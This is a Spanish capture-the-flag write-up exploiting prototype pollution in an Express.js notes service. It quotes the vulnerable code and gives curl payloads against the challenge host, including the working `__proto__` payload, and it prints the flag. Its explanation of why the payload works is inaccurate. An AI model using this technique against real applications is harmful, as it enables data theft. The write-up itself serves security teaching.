# Key Collector - Writeup

Un servicio de notas almacena información sensible usando varias claves de estructuras de datos. Explora su funcionamiento y encuentra la manera de obtener la nota con la flag.

## Reconocimiento inicial

Al acceder a la URL principal, nos encontramos con un mensaje simple: "We have updated the website! Check /data". Siguiendo esta instrucción y visitando la ruta /data, obtenemos otro mensaje: "Try to get the flag if you can!".

Además, tenemos acceso al código fuente del servidor (index.js), lo cual es crucial para entender cómo funciona la aplicación y encontrar posibles vulnerabilidades.

## Análisis del código fuente

El servidor está implementado con Express.js y contiene los siguientes endpoints:

- **GET /** - Muestra el mensaje inicial
- **GET /data** - Muestra el segundo mensaje
- **POST /data** - Procesa datos del usuario y devuelve una nota

La parte interesante está en el endpoint POST /data:

```
app.post("/data", (req, res) => {
  data = {"block1":{"note":"Give me some notes","book": "The Hunger Games"}, "block2":{"lunch":"Fish and chips"}}
  try {
    // Asignación 1 (Controlada)
    data[req.body.key][req.body.key2] = flag;
    // Asignación 2 (Sobrescritura)
    data["block1"]["note"] = req.body.note
    // Creación objeto respuesta
    resText = new dataSet(data);
  } catch (err) {
    res.status(500).send("An error occurred!")
```

```
    }
    // Respuesta usando resText.note
    res.send("Here's your note: " + resText["note"])
})
```

También vemos la definición del constructor `dataSet`:

```
function dataSet(data) {
    this.note = data["block1"]["note"]
    this.book = data["block1"]["book"]
    this.lunch = data["block2"]["lunch"]
    this.fakeFlag = data["block1"]["fakeFlag"]
    this.flag = flag // Propiedad interna, no usada en la respuesta directa
}
```

## Identificación de la vulnerabilidad

El código contiene una vulnerabilidad clara de Prototype Pollution en la línea:

```
data[req.body.key][req.body.key2] = flag;
```

Esta línea permite que nosotros controlemos dónde se escribe la flag (contenida en la variable `flag`). Podemos proporcionar valores para `key` y `key2` que nos permitan modificar el prototipo de Object en JavaScript.

## Intentos iniciales

Un primer intento lógico podría ser intentar escribir la flag directamente en la propiedad que se muestra en la respuesta. Probemos con `key=block1` y `key2=note`:

```
curl -X POST -d "key=block1&key2=note" http://ctf.hackademics-forum.com:14527/data
```

Sin embargo, esto devuelve: `Here's your note: undefined`

El problema es que aunque la primera asignación pone la flag en `data.block1.note`, la segunda asignación (`data["block1"]["note"] = req.body.note`) la sobrescribe con `undefined` (ya que no enviamos el parámetro `note`).

## Explotación mediante Prototype Pollution

La clave está en usar Prototype Pollution para añadir la propiedad `note` al prototipo de Object, lo que afectará a todos los objetos:

1. Enviamos `key=__proto__` y `key2=note`
2. La primera asignación ejecuta: `data["__proto__"]["note"] = flag;`
3. Esto modifica el prototipo de Object, añadiendo la propiedad `note` con el valor de la flag
4. Aunque la segunda asignación establece `data["block1"]["note"] = undefined`, cuando el constructor intenta leer `data["block1"]["note"]`, debido a cómo funciona la resolución de propiedades en JavaScript, termina accediendo a la propiedad heredada del prototipo (la flag)

## Payload final

```
curl -X POST -d "key=__proto__&key2=note" http://ctf.hackademics-forum.com:14527/data
```

## Resultado

```
Here's your note: hfctf{poluc1onam3_l4_fl4G}
```

## Flag

`hfctf{poluc1onam3_l4_fl4G}`